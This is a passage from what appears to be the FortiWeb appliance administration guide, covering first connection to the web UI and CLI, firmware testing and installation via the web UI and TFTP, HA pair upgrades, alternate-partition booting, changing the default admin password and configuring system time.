1. On your management computer, configure the Ethernet port with the static IP address 192.168.1.2 with a netmask of 255.255.255.0.
2. Using the Ethernet cable, connect your computer's Ethernet port to the FortiWeb appliance's port 1.
3. Start your browser and enter the following URL:

`https://192.168.1.99`

(Remember to include the "s" in `https://`.)

Your browser connects the appliance.

If you do **not** see the login page due to an SSL cipher error during the connection, and you are connecting to the trial license of FortiWeb-VM or a LENC version of FortiWeb, then your browser must be configured to accept encryption of 64-bit strength or less during the handshake. RC2 and DES with less than 64-bit strength is supported. AES and 3DES is **not** supported in these versions.

For example, in Mozilla Firefox, if you receive this error message:

```
ssl_error_no_cypher_overlap
```

To support HTTPS authentication, the FortiWeb appliance ships with a self-signed security certificate, which it presents to clients whenever they initiate an HTTPS connection to the FortiWeb appliance. When you connect, depending on your web browser and prior access of the FortiWeb appliance, your browser might display two security warnings related to this certificate:

- The certificate is not automatically trusted because it is self-signed, rather than being signed by a valid certificate authority (CA). Self-signed certificates cannot be verified with a proper CA, and therefore might be fraudulent. You must manually indicate whether or not to trust the certificate.
- The certificate might belong to another website. The common name (CN) field in the certificate, which usually contains the host name of the website, does not exactly match the URL you requested. This could indicate server identity theft, but could also simply indicate that the certificate contains a domain name while you have entered an IP address. You must manually indicate whether this mismatch is normal or not.

Both warnings are normal for the default certificate. TLS v1.0 is supported.

4. Verify and accept the certificate, either permanently (the web browser will not display the self-signing warning again) or temporarily. You cannot log in until you accept the certificate.

For details on accepting the certificate, see the documentation for your web browser.

5. In the **Name** field, type `admin`, then click **Login**. In its default state, there is no password for this account.

Login credentials entered are encrypted before they are sent to the FortiWeb appliance. If your login is successful, the web UI appears. To continue by updating the firmware, see ["Updating the firmware"](#) on page 120. Otherwise, to continue by setting an administrative password, see ["Changing the "admin" account password"](#) on page 132.



If 3 incorrect login or password attempts occur in a row, your IP address will be temporarily blacklisted from the GUI and CLI (network, not console). This is to protect the appliance from brute force login attacks. Wait 1 minute, then attempt the login again.

Connecting to the CLI

Using its default settings, you can access the CLI from your management computer in three ways via:

- the Web UI
- A local console connection
- An SSH connection, either local or through the network

Secure Shell (SSH) provides both secure authentication and secure communications to the CLI. Supported SSH protocol versions, ciphers, and bit strengths include SSH version 2 with AES-128, 3DES, Blowfish, and SHA-1.

These are the default settings to connect to the CLI via SSH:

Network Interface	port1
IP Address	192.168.1.99
SSH Port Number	22
Administrator Account	admin
Password	



If you are **not** connecting for the first time, nor have you just reset the configuration to its default state or restored the firmware, administrative access settings may have already been configured. In this case, access the CLI using the IP address, administrative access protocol, administrator account and password already configured, instead of the default settings.

Alternatively, you can access the CLI via SSH and a public-private key pair. However, to use this option, you first access the CLI using the CLI Console widget (part of the web UI status dashboard) or via SSH and password to upload the public key. For details, see ["To connect to the CLI using an SSH connection and public-private key pair"](#) on page 119.

The following procedures describe connection using PuTTY software; steps may vary with other terminal emulators.

To use the CLI in the web UI

You must have already completed ["To connect to the web UI"](#) on page 115.

1. In the top-right corner of the window from any location in the web UI, click the **Console Access** icon:



The console will open on top of the current window of the Web UI.

- To detach the CLI Console from the Web UI, click the **Detach** icon in the toolbar of the CLI Console window:



The CLI Console will open in a new tab in your browser.

To connect to the CLI using a local console connection

You must have:

- A computer with an available serial communications (COM) port
 - The RJ-45-to-DB-9 or null modem cable included in your FortiWeb package
 - Terminal emulation software such as PuTTY
(<http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html>)
- Using the RJ-45-to-DB-9 or null modem cable, connect your computer's serial communications (COM) port to the FortiWeb appliance's console port.
 - Verify that the FortiWeb appliance is powered on.
 - On your management computer, start a terminal emulation software such as PuTTY.
 - In the **Category** tree on the left, go to **Connection > Serial** and configure these settings:

Serial line to connect to	COM1 (or, if your computer has multiple serial ports, the name of the connected serial port)
Speed (baud)	9600
Data bits	8
Stop bits	1
Parity	None
Flow control	None

- In the **Category** tree on the left, go to **Session** (not the sub-node, **Logging**) and from **Connection type**, select **Serial**.
- Click **Open**.
- Press the Enter key to initiate a connection.

The login prompt appears.

8. Type `admin` then press Enter twice. (In its default state, there is no password for the `admin` account.)

The CLI displays the following text, followed by a command line prompt:

```
Welcome!
```

You can now enter commands. To continue by updating the firmware, see "[Updating the firmware](#)" on page 120. Otherwise, to continue by setting an administrative password, see "[Changing the "admin" account password](#)" on page 132. For information about how to use the CLI, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

To connect to the CLI using an SSH connection and password

You must have:

- a computer with an RJ-45 Ethernet port
- a crossover Ethernet cable (if connecting directly) or straight-through Ethernet cable (if connecting through a switch or router)
- a FortiWeb network interface configured to accept SSH connections (In its default state, port1 accepts SSH. You may need to connect directly first in order to configure a static route so that, later, you can connect through routers. For details, see "[Adding a gateway](#)" on page 178.)
- terminal emulation software such as PuTTY (<http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html>)

1. On your management computer, configure the Ethernet port with the static IP address 192.168.1.2 with a netmask of 255.255.255.0.

2. Using the Ethernet cable, connect your computer's Ethernet port to the FortiWeb appliance's port1.

3. Verify that the FortiWeb appliance is powered on.

4. On your management computer, start [PuTTY](#).

Initially, the **Session** category of settings is displayed.

5. In **Host Name (or IP Address)**, type `192.168.1.99`.

6. In **Port**, type `22`.

7. From **Connection type**, select **SSH**.

8. Select **Open**.

The SSH client connects to the FortiWeb appliance.

The SSH client may display a warning if this is the first time you are connecting to the FortiWeb appliance and its SSH key is not yet recognized by your SSH client, or if you have previously connected to the FortiWeb appliance but it used a different IP address or SSH key. If your management computer is directly connected to the FortiWeb appliance with no network hosts between them, this is normal.

9. Click **Yes** to verify the fingerprint and accept the FortiWeb appliance's SSH key. You cannot log in until you accept the key.

The CLI displays a login prompt.

10. Type `admin` and press Enter. By default, this account has no password.



If 3 incorrect login or password attempts occur in a row, your IP address will be temporarily blacklisted from the GUI and CLI (network, not console). This is to protect the appliance from brute force login attacks. Wait 1 minute, then attempt the login again.

The CLI displays a prompt, such as:

FortiWeb#

You can now enter commands. To continue by updating the firmware, see ["Updating the firmware"](#) on page 120. Otherwise, to continue by setting an administrative password, see ["Changing the "admin" account password"](#) on page 132.

For information about how to use the CLI, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

To connect to the CLI using an SSH connection and public-private key pair

1. Create a public-private key pair using a key generator.
2. Save the private key to the location on your management computer where your SSH keys are stored.
3. Connect to the CLI using either the CLI Console widget on the web UI dashboard or via an SSH connection. For details, see ["To connect to the CLI using an SSH connection and password"](#) on page 118.
4. Use the following CLI command to copy the public key to FortiWeb using the CLI commands:

```
config system admin
  edit admin
    set sshkey <sshkey>
  end
```

where <sshkey> is the public key data.

The following data is an example of an ssh public key:

```
"ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQDJWw9hWG6KC+RYViLmPVN283mNIwOVE9EyO+Rk
SsQgqZzc/NkzWpR4A3f6egYUZ1TY3ERYJ350zpvtmVoM8sbtDyLjuj/OYqZWLr06jld+
NBKNbl9crqGdcoi+5WYZ9qo8NKGW4yXrmcNzdM46c708mrKNc9cfVlCk2kJSNNEY8FRX
fm3Ge7y0aNRuBBQ6n9LkYWSow+AETwNt8ZS0/9tJ9gV6V6J4071Y8xSfM1VDJQwdneuX
CpVrs3FglDijUdritp7W8ptxqgbLvdKRObaTvpEGS16rBPZcsqQFCCgnlQHdE9UxoPA7
jpSrEZ/Gkh63kz5KC6dZgUg0G2IrIgXt"
```

5. To log in using the private key, open a connection to the CLI using SSH. For details, see ["To connect to the CLI using an SSH connection and password"](#) on page 118.
6. When FortiWeb displays the CLI prompt, use the following command to log in using the public key:

```
ssh -i <privatekey>
```

where <privatekey> is the name of the private key stored on your management computer.

For information about how to use the CLI, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Updating the firmware

Your FortiWeb comes with the latest operating system (firmware) when shipped. However, if a new version released since your appliance shipped, you should install it before you continue the installation.

Fortinet periodically releases FortiWeb firmware updates to include enhancements and address security issues. Once you register your FortiWeb, firmware is available for download through Fortinet Customer Service & Support at:

<https://support.fortinet.com>

Installing new firmware can overwrite attack signature packages using the versions of the packages that were current at the time that the firmware image was built. To avoid repeat updates, update the firmware **before** updating your FortiGuard packages.

New firmware can also introduce new features which you must configure for the first time.

For information about a particular firmware release, see the Release Notes for that release at:

<http://docs.fortinet.com/fortiweb/release-information>



In addition to major releases that contain new features, Fortinet releases patch releases that resolve specific issues without containing new features and/or changes to existing features. It is recommended to download and install patch releases as soon as they are available.

See also

- "Testing new firmware before installing it" on page 120
- "Installing firmware" on page 122
- "Installing alternate firmware" on page 127

Testing new firmware before installing it

You can test a new firmware image by temporarily running it from memory, without saving it to disk. By keeping your existing firmware on disk, if the evaluation fails, you do not have to re-install your previous firmware. Instead, you can quickly revert to your existing firmware by simply rebooting the FortiWeb appliance.

To test a new firmware image

1. Download the firmware file from the Fortinet Technical Support website:
<https://support.fortinet.com/>
2. Connect your management computer to the FortiWeb console port using a RJ-45-to-DB-9 serial cable or a null-modem cable.
3. Initiate a connection from your management computer to the CLI of the FortiWeb appliance.
For details, see "[Connecting to the web UI or CLI](#)" on page 114.
4. Connect port1 of the FortiWeb appliance directly or to the same subnet as a TFTP server.
5. Copy the new firmware image file to the root directory of the TFTP server.

6. If necessary, start your TFTP server. If you do not have one, you can temporarily install and run one such as `tftpd` on your management computer:

Windows: <http://tftpd32.jounin.net>

Mac OS X: From the Terminal, enter the `man tftp` command.

Linux: https://access.redhat.com/knowledge/docs/en-US/Red_Hat_Enterprise_Linux/5/html/Installation_Guide/s1-netboot-tftp.html



Because TFTP is **not** secure, and because it does not support authentication and could allow anyone to have read and write access, you should **only** run it on trusted administrator-only networks, **never** on computers directly connected to the Internet. If possible, immediately turn off `tftpd` off when you are done.

7. Verify that the TFTP server is currently running, and that the FortiWeb appliance can reach the TFTP server.

To use the FortiWeb CLI to verify connectivity, enter the following command:

```
execute ping 192.168.1.168
```

where `192.168.1.168` is the IP address of the TFTP server.

8. Enter the following command to restart the FortiWeb appliance:

```
execute reboot
```

9. As the FortiWeb appliances starts, a series of system startup messages appear.

Press any key to display configuration menu.....

10. Immediately press a key to interrupt the system startup.



You have only three seconds to press a key. If you do not press a key soon enough, the FortiWeb appliance reboots and you must log in and repeat the `execute reboot` command.

If you successfully interrupt the startup process, the following messages appears:

```
[G]: Get firmware image from TFTP server.
[F]: Format boot device.
[B]: Boot with backup firmware and set as default.
[Q]: Quit menu and continue to boot with default firmware.
[H]: Display this list of options.
```

Enter G,F,B,Q, or H:

Please connect TFTP server to Ethernet port "1".

11. Type `G` to get the firmware image from the TFTP server.

The following message appears:

```
Enter TFTP server address [192.168.1.168]:
```

12. Type the IP address of the TFTP server and press Enter.

The following message appears:

Enter local address [192.168.1.188]:

13. Type a temporary IP address that can be used by the FortiWeb appliance to connect to the TFTP server.

The following message appears:

Enter firmware image file name [image.out]:

14. Type the firmware image file name and press Enter.

The FortiWeb appliance downloads the firmware image file from the TFTP server and displays a message similar to the following:

```
MAC:00219B8F0D94
```

```
#####
```

```
Total 28385179 bytes data downloaded.
```

```
Verifying the integrity of the firmware image..
```

```
Save as Default firmware/Backup firmware/Run image without saving:[D/B/R]?
```



If the download fails after the integrity check with the error message:

```
invalid compressed format (err=1)
```

but the firmware matches the integrity checksum on the Fortinet Technical Support website, try a different TFTP server.

15. Type R.

The FortiWeb image is loaded into memory and uses the current configuration, **without** saving the new firmware image to disk.

16. To verify that the new firmware image was loaded, log in to the CLI and type:

```
get system status
```

17. Test the new firmware image.

- If the new firmware image operates successfully, you can install it to disk, overwriting the existing firmware, using the procedure "[Installing firmware](#)" on page 122.
- If the new firmware image does **not** operate successfully, reboot the FortiWeb appliance to discard the temporary firmware and resume operation using the existing firmware.

See also

- [Installing firmware](#)
- [Installing alternate firmware](#)

Installing firmware

You can use either the web UI or the CLI to upgrade or downgrade the appliance's operating system.

If you are installing a firmware version that requires a different size of system partition, you may be required to format the boot device before installing the firmware by re-imaging the boot device. Consult the **Release Notes**.

In that case, do **not** install the firmware using this procedure. Instead, see "[Restoring firmware \("clean install"\)](#)" on page 810.

Firmware changes are either:

- an update to a newer version
- a reversion to an earlier version

To determine if you are updating or reverting the firmware, go to **System > Status > Status** and in the **System Information** widget, see the **Firmware Version** row. (Alternatively, in the CLI, enter the command `get system status`.)

For example, if your current firmware version is:

```
FortiWeb-VM 4.32,build0531,111031
```

changing to

```
FortiWeb-VM 4.32,build0530,110929
```

an earlier build number (530) and date (110929 means September 29, 2011), indicates that you are reverting.

Back up **all** parts of your configuration before beginning this procedure. Some backup types do not include the full configuration. For full backup instructions, see "[Backups](#)" on page 324.



Reverting to an earlier firmware version could reset settings that are not compatible with the new firmware. For example, FortiWeb 5.0 configuration files are **not** compatible with previous firmware versions. If you later decide to downgrade to FortiWeb 4.4.6 or earlier, your FortiWeb appliance will lose its configuration. To restore the configuration, you will need a backup that is compatible with the older firmware.

For details about reconnecting to a FortiWeb appliance whose network interface configuration was reset, see "[Connecting to the web UI or CLI](#)" on page 114.

To install firmware via the web UI

1. Download the firmware file from the Fortinet Technical Support website:

<https://support.fortinet.com/>

2. Log in to the web UI of the FortiWeb appliance as the `admin` administrator, or an administrator account whose access profile contains **Read** and **Write** permissions in the **Maintenance** category.



Updating firmware on an HA pair requires some additions to the usual steps for a standalone appliance. For details, see "[Updating firmware on an HA pair](#)" on page 126.

3. Go to **System > Status > Status**.
4. In the **System Information** widget, in the **Firmware Version** row, click **Update**.

The **Firmware Upgrade/Downgrade** dialog appears.

5. Click **Browse** to locate and select the firmware file that you want to install, then click **OK**.

6. Click OK.

Your management computer uploads the firmware image to FortiWeb. FortiWeb installs the firmware and restarts. The time required varies by the size of the file and the speed of your network connection.



If you are **downgrading** the firmware to a previous version, and the settings are not fully backwards compatible, the FortiWeb appliance may either remove incompatible settings, or use the feature's default values for that version of the firmware. You may need to reconfigure some settings.

7. Clear the cache of your web browser and restart it to ensure that it reloads the web UI and correctly displays all interface changes. For details, see your browser's documentation.**8. To verify that the firmware was successfully installed, log in to the web UI and go to **System > Status > Status**.**

In the **System Information** widget, the **Firmware Version** row indicates the currently installed firmware version.

9. If you want to install alternate firmware on the secondary partition, follow "[Installing alternate firmware](#)" on page 127.**10. Continue with "[Changing the "admin" account password](#)" on page 132.**

Installing firmware replaces the current attack definitions with those included in the firmware release that you're installing. If you are updating or rearranging an existing deployment, after you install new firmware, make sure that your attack definitions are up-to-date. For details, see "[Manually initiating update requests](#)" on page 196.

To install firmware via the CLI**1. Download the firmware file from the Fortinet Customer Service & Support website:**

<https://support.fortinet.com/>

If you are **downgrading** the firmware to a previous version, FortiWeb reverts the configuration to default values for that version of the firmware. You will need to reconfigure FortiWeb or restore the configuration file from a backup. For details, see "[Connecting to the web UI or CLI](#)" on page 114 and, if you opt to restore the configuration, "[Restoring a previous configuration](#)" on page 328.

2. Connect your management computer to the FortiWeb console port using a RJ-45-to-DB-9 serial cable or a null-modem cable.

Updating firmware on an HA pair requires some additions to the usual steps for a standalone appliance. For details, see "[Updating firmware on an HA pair](#)" on page 126.

3. Initiate a connection from your management computer to the CLI of the FortiWeb appliance, and log in as the `admin` administrator, or an administrator account whose access profile contains **Read and **Write** permissions in the **Maintenance** category. For details, see "[Permissions](#)" on page 85.****4. Connect port1 of the FortiWeb appliance directly or to the same subnet as a TFTP server.****5. Copy the new firmware image file to the root directory of the TFTP server.**

6. If necessary, start your TFTP server. If you do not have one, you can temporarily install and run one such as `tftpd` on your management computer:

Windows: <http://tftpd32.jounin.net>

Mac OS X: From the Terminal, enter the `man tftp` command.

Linux: https://access.redhat.com/knowledge/docs/en-US/Red_Hat_Enterprise_Linux/5/html/Installation_Guide/s1-netboot-tftp.html



Because TFTP is **not** secure, and because it does not support authentication and could allow anyone to have read and write access, you should **only** run it on trusted administrator-only networks, **never** on computers directly connected to the Internet. If possible, immediately turn off `tftpd` off when you are done.

7. Verify that the TFTP server is currently running, and that the FortiWeb appliance can reach the TFTP server.

To use the FortiWeb CLI to verify connectivity, enter the following command:

```
execute ping 192.168.1.168
```

where `192.168.1.168` is the IP address of the TFTP server.

8. Enter the following command to download the firmware image from the TFTP server to FortiWeb:

```
execute restore image tftp <name_str> <tftp_ipv4>
```

where `<name_str>` is the name of the firmware image file and `<tftp_ipv4>` is the IP address of the TFTP server. For example, if the firmware image file name is `image.out` and the IP address of the TFTP server is `192.168.1.168`, enter:

```
execute restore image tftp image.out 192.168.1.168
```

One of the following messages appears:

```
This operation will replace the current firmware version!
Do you want to continue? (y/n)
```

or:

```
Get image from tftp server OK.
Check image OK.
This operation will downgrade the current firmware version!
Do you want to continue? (y/n)
```

9. Type `y`.

The FortiWeb appliance downloads the firmware image file from the TFTP server. The FortiWeb appliance installs the firmware and restarts:

```
MAC:00219B8F0D94
```

```
#####
```

```
Total 28385179 bytes data downloaded.
```

```
Verifying the integrity of the firmware image.
```

```
Save as Default firmware/Backup firmware/Run image without saving:[D/B/R]?
```

The time required varies by the size of the file and the speed of your network connection.



If the download fails after the integrity check with the error message:

```
invalid compressed format (err=1)
```

but the firmware matches the integrity checksum on the Fortinet Technical Support website, try a different TFTP server.

10. To verify that the firmware was successfully installed, log in to the CLI and type:

```
get system status
```

The firmware version number is displayed.

11. If you want to install alternate firmware on the secondary partition, follow ["Installing alternate firmware"](#) on page 127.

12. Continue with ["Changing the "admin" account password"](#) on page 132.



Installing firmware replaces the current FortiGuard packages with those included with the firmware release that you are installing. If you are updating or rearranging an existing deployment, after you install new firmware, make sure that your attack definitions are up-to-date. For details, see ["Manually initiating update requests"](#) on page 196.

See also

- ["Updating firmware on an HA pair"](#) on page 126
- ["Installing alternate firmware"](#) on page 127
- ["Manually initiating update requests"](#) on page 196

Updating firmware on an HA pair

Installing firmware on an HA pair is similar to installing firmware on a single, standalone appliance.

If **downgrading** to a previous version, do **not** use this procedure. The HA daemon on the standby appliance might detect that the main appliance has older firmware, and attempt to upgrade it to bring it into sync, undoing your downgrade.

Instead, switch out of HA, downgrade each appliance individually, then switch them back into HA mode.

To ensure minimal interruption of service to clients, use the following steps.



This update procedure is **only** valid for upgrading **from** FortiWeb 4.0 MR4 or later.

If you are upgrading from FortiWeb 4.0 MR3 or earlier, the active appliance will **not** automatically send the new firmware to the standby appliance(s); you must quickly connect to the standby and manually install the new firmware while the originally active appliance is upgrading and rebooting. Alternatively, switch the appliances out of HA mode, upgrade them individually, then switch them back into HA mode.

To update the firmware of an HA pair

1. Verify that both of the members in the HA pair are powered on and available on **all** of the network interfaces that you have configured. If required ports are not available, HA port monitoring could inadvertently trigger an additional failover and traffic interruption during the firmware update.
2. Log in to the web UI of the **primary** appliance as the `admin` administrator.

Alternatively, log on with an administrator account whose access profile contains **Read** and **Write** permissions in the **Maintenance** category. For details, see ["Permissions"](#) on page 85.

3. Install the firmware on the primary appliance. For details, see ["Installing firmware"](#) on page 122. When installing via the web UI, a message will appear after your web browser has uploaded the file:

```
Sending the new firmware file to the standby. Please wait and keep the web GUI untouched...
```



Closing your browser window or using the back or forward buttons can **interrupt the upgrade process**, resulting in a split brain problem — both the upgrade of the initial master and HA will be interrupted, because both appliances will believe they are the main appliance.

The primary appliance will transmit the firmware file to the standby appliance over its HA link. The standby appliance will upgrade its firmware first; on the active appliance, this will be recorded in an event log message such as:

```
Member (FV-1KC3R11111111) left HA group
```

After the standby appliance reboots and indicates via the HA heartbeat that it is up again, the primary appliance will begin to update its own firmware. During that time, the standby appliance will temporarily become active and process your network's traffic. After the original appliance reboots, it indicates via the HA heartbeat that it is up again. Which appliance will assume the active role of traffic processing depends on your configuration (see ["How HA chooses the active appliance"](#) on page 79):

- If **Override** (page 144) is **enabled**, the cluster will consider your **Device Priority** (page 144) setting. Therefore both appliances usually make a second failover in order to resume their original roles.
- If **Override** (page 144) is **disabled**, the cluster will consider uptime first. The original primary appliance will have a smaller uptime due to the order of reboots during the firmware upgrade. Therefore it will **not** resume its active role; instead, the standby will remain the new primary appliance. A second failover will **not** occur.

Reboot times vary by the appliance model, and also by differences between the original firmware and the firmware you are installing, which may require the installer to convert the configuration and/or disk partitioning schemes to be compatible with the new firmware version.

See also

- ["Installing firmware"](#) on page 122
- ["Configuring a high availability \(HA\) FortiWeb cluster"](#) on page 137

Installing alternate firmware

You can install alternate firmware which can be loaded from its separate partition if the primary firmware fails. This can be accomplished via the web UI or CLI.

To install alternate firmware via the web UI

1. Download the firmware file from the Fortinet Customer Service & Support website:
<https://support.fortinet.com/>
2. Log in to the web UI of the FortiWeb appliance as the `admin` administrator, or an administrator account whose access profile contains **Read** and **Write** permissions in the **Maintenance** category.



Updating firmware on an HA pair requires some additions to the usual steps for a standalone appliance. For details, see "[Updating firmware on an HA pair](#)" on page 126.

3. Go to **System > Maintenance > Backup & Restore**.

To access this part of the web UI, your administrator account's access profile must have **Read** and **Write** permission to items in the **Maintenance** category. For details, see "[Permissions](#)" on page 85.

4. Select the **Local Backup** tab.
5. In the **Firmware** area, in the row of the alternate partition, click **Upload and Reboot**.
The **Firmware Upgrade/Downgrade** dialog appears.
6. For **From**, select the hard disk from which you want to install the firmware file.
7. Click **Browse** to locate and select the firmware file that you want to install, then click **OK**.
8. Click **OK**.

Your management computer uploads the firmware image to FortiWeb. FortiWeb installs the firmware and restarts. The time required varies by the size of the file and the speed of your network connection.



If you are **downgrading** the firmware to a previous version, and the settings are not fully backwards compatible, the FortiWeb appliance may either remove incompatible settings, or use the feature's default values for that version of the firmware. You may need to reconfigure some settings.

9. Clear the cache of your web browser and restart it to ensure that it reloads the web UI and correctly displays all interface changes. For details, see your browser's documentation.
10. To verify that the firmware was successfully installed, log in to the web UI and go to **System > Status > Status**.

In the **System Information** widget, the **Firmware Version** row indicates the currently installed firmware version.

To install alternate firmware via the CLI

1. Download the firmware file from the Fortinet Technical Support website:
<https://support.fortinet.com/>
2. Connect your management computer to the FortiWeb console port using a RJ-45-to-DB-9 serial cable or a null-modem cable.

3. Initiate a connection from your management computer to the CLI of the FortiWeb appliance, and log in as the `admin` administrator, or an administrator account whose access profile contains **Read** and **Write** permissions in the **Maintenance** category. For details, see "[Permissions](#)" on page 85.
4. Connect port1 of the FortiWeb appliance directly or to the same subnet as a TFTP server.
5. Copy the new firmware image file to the root directory of the TFTP server.
6. If necessary, start your TFTP server. If you do not have one, you can temporarily install and run one such as `tftpd` on your management computer:

Windows: <http://tftpd32.jounin.net>

Mac OS X: From the Terminal, enter the `man tftp` command.

Linux: https://access.redhat.com/knowledge/docs/en-US/Red_Hat_Enterprise_Linux/5/html/Installation_Guide/s1-netboot-tftp.html



Because TFTP is **not** secure, and because it does not support authentication and could allow anyone to have read and write access, you should **only** run it on trusted administrator-only networks, **never** on computers directly connected to the Internet. If possible, immediately turn off `tftpd` off when you are done.

7. Verify that the TFTP server is currently running, and that the FortiWeb appliance can reach the TFTP server.

To use the FortiWeb CLI to verify connectivity, enter the following command:

```
execute ping 192.168.1.168
```

where `192.168.1.168` is the IP address of the TFTP server.

8. Enter the following command to restart the FortiWeb appliance:

```
execute reboot
```

As the FortiWeb appliances starts, a series of system startup messages appear.

Press any key to display configuration menu.....

9. Immediately press a key to interrupt the system startup.



You have only 3 seconds to press a key. If you do not press a key soon enough, the FortiWeb appliance reboots and you must log in and repeat the `execute reboot` command.

If you successfully interrupt the startup process, the following messages appears:

```
[G]: Get firmware image from TFTP server.
[F]: Format boot device.
[B]: Boot with backup firmware and set as default.
[Q]: Quit menu and continue to boot with default firmware.
[H]: Display this list of options.
```

Enter G,F,B,Q,or H:

Please connect TFTP server to Ethernet port "1".

10. Type `G` to get the firmware image from the TFTP server.

The following message appears:

```
Enter TFTP server address [192.168.1.168]:
```

11. Type the IP address of the TFTP server and press Enter.

The following message appears:

```
Enter local address [192.168.1.188]:
```

12. Type a temporary IP address that can be used by the FortiWeb appliance to connect to the TFTP server.

The following message appears:

```
Enter firmware image file name [image.out]:
```

13. Type the firmware image file name and press Enter.

The FortiWeb appliance downloads the firmware image file from the TFTP server and displays a message similar to the following:

```
MAC:00219B8F0D94
```

```
#####
```

```
Total 28385179 bytes data downloaded.
```

```
Verifying the integrity of the firmware image.
```

```
Save as Default firmware/Backup firmware/Run image without saving:[D/B/R]?
```



If the download fails after the integrity check with the error message:

```
invalid compressed format (err=1)
```

but the firmware matches the integrity checksum on the Fortinet Technical Support website, try a different TFTP server.

14. Type `B`.

The FortiWeb appliance saves the backup firmware image and restarts. When the FortiWeb appliance reboots, it is running the primary firmware.

See also

- ["Bootting from the alternate partition"](#) on page 130
- ["Installing firmware"](#) on page 122
- ["Manually initiating update requests"](#) on page 196

Bootting from the alternate partition

System > Maintenance > Backup & Restore lists the firmware versions currently installed on your FortiWeb appliance.

Each appliance can have up to two firmware versions installed. Each firmware version is stored in a separate partition. The partition whose firmware is currently running is noted with a white check mark in a green circle in the **Active** column.

To boot into alternate firmware via the web UI

Install firmware onto the alternate partition. For details, see ["Installing alternate firmware"](#) on page 127.

1. Go to **System > Maintenance > Backup & Restore**, and select the **Local Backup** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Maintenance** category. For details, see ["Permissions"](#) on page 85.

2. In the **Firmware** area, click **Boot alternate firmware**.

A warning message appears.

3. Click **OK**.

A message appears instructing you to refresh your browser in a few minutes after the appliance has booted the other firmware.

To boot into alternate firmware via the local console CLI

1. Install firmware onto the alternate partition. For details, see ["Installing alternate firmware"](#) on page 127.
2. Connect your management computer to the FortiWeb console port using a RJ-45-to-DB-9 serial cable or a null-modem cable.
3. Initiate a connection from your management computer to the CLI of the FortiWeb appliance, and log in as the `admin` administrator, or an administrator account whose access profile contains **Read** and **Write** permissions in the **Maintenance** category.

For details, see ["Connecting to the web UI or CLI"](#) on page 114.

4. Enter the following command to restart the FortiWeb appliance:

```
execute reboot
```

5. As the FortiWeb appliances starts, a series of system startup messages appear.

```
Press any key to display configuration menu.....
```

Immediately press a key to interrupt the system startup.



You have only 3 seconds to press a key. If you do not press a key soon enough, the FortiWeb appliance reboots and you must log in and repeat the `execute reboot` command.

If you successfully interrupt the startup process, the following messages appears:

```
[G]: Get firmware image from TFTP server.
[F]: Format boot device.
[B]: Boot with backup firmware and set as default.
[Q]: Quit menu and continue to boot with default firmware.
[H]: Display this list of options.
```

```
Enter G,F,B,Q,or H:
```

Please connect TFTP server to Ethernet port "1".

6. Type **B** to reboot and use the backup firmware.

See also

- ["Installing alternate firmware"](#) on page 127

Changing the “admin” account password

The default administrator account, named `admin`, initially has no password.

Unlike other administrator accounts, the `admin` administrator account exists by default and cannot be deleted. The `admin` administrator account is similar to a root administrator account. This administrator account always has full permission to view and change all FortiWeb configuration options, including viewing and changing all other administrator accounts. Its name and permissions cannot be changed.

Before you connect the FortiWeb appliance to your overall network, you should configure the `admin` account with a password to prevent others from logging in to the FortiWeb and changing its configuration.



Set a strong password for the `admin` administrator account, and change the password regularly. Failure to maintain the password of the `admin` administrator account could compromise the security of your FortiWeb appliance. As such, it can constitute a violation of PCI DSS compliance and is against best practices. For improved security, the password should be at least eight characters long, be sufficiently complex, and be changed regularly.

To change the `admin` administrator password via the web UI

1. Go to **System > Admin > Administrators**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Admin Users** category. For details, see ["Permissions"](#) on page 85.

2. In the row corresponding to the `admin` administrator account, mark its check box.
3. Click **Change Password**.
4. In the **Old Password** field, do not enter anything. In its default state, there is no password for the `admin` administrator account.
5. In the **New Password** field, enter a password with sufficient complexity and number of characters to deter brute force attempts and other attacks.
6. In the **Confirm Password** field, enter the new password again to confirm its spelling.
7. Click **OK**.
8. Click **Logout**.

FortiWeb logs you out. To continue using the web UI, you must log in again. The new password takes effect the next time that `admin` administrator account logs in.

To change the `admin` administrator password via the CLI

Enter the following commands:

```
config system admin
  edit admin
    set password <new-password_str> ''
  end
exit
```

where `<new-password_str>` is the password for the administrator account named `admin`.

FortiWeb logs you out. To continue working in the CLI, you must log in again using the new password.

Setting the system time & date

You can either manually set the FortiWeb system time or configure the FortiWeb appliance to automatically keep its system time correct by synchronizing with a Network Time Protocol (NTP) server.



For many features to work, including scheduling, logging, and SSL/TLS-dependent features, the FortiWeb system time must be accurate.

To configure the system time via the web UI

1. Go to **System > Maintenance > System Time**.

The **Time Settings** dialog appears in a pop-up window.

Alternatively, go to **System > Status > Status**. In the **System Information** widget, in the **System Time** row, click **Change**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Maintenance** category. For details, see "[Permissions](#)" on page 85.

2. For **Time Zone**, select the time zone where FortiWeb is located.
3. If you want FortiWeb to automatically synchronize its clock with an NTP server (recommended), configure these settings:

Synchronize with NTP Server	Select this option to automatically synchronize the date and time of the FortiWeb appliance's clock with an NTP server, then configure the Server (page 133) and Sync Interval (page 133) before you click Apply .
Server	Type the IP address or domain name of an NTP server or pool, such as <code>pool.ntp.org</code> . To find an NTP server that you can use, go to http://www.ntp.org .
Sync Interval	Enter how often in minutes the FortiWeb appliance should synchronize its time with the NTP server. For example, entering 1440 causes the FortiWeb appliance to synchronize its time once a day.



NTP requires that FortiWeb be able to connect to the Internet on UDP port 123.

Otherwise, select **Set Time**, then manually set the current date and time. If you want FortiWeb to automatically adjust its own clock when its time zone changes between daylight saving time (DST) and standard time, enable **Automatically adjust clock for daylight saving changes**. The clock will be initialized with the manually specified time when you click **OK**.

4. Click **OK**.

If you manually configured the time, or if you enabled NTP and the NTP query for the current time **succeeds**, the new clock time should appear for the **System Time** in the **System Information** widget. (If the query reply is slow, you may need to wait a couple of seconds, then click **Refresh** to update the display in **System time**.)

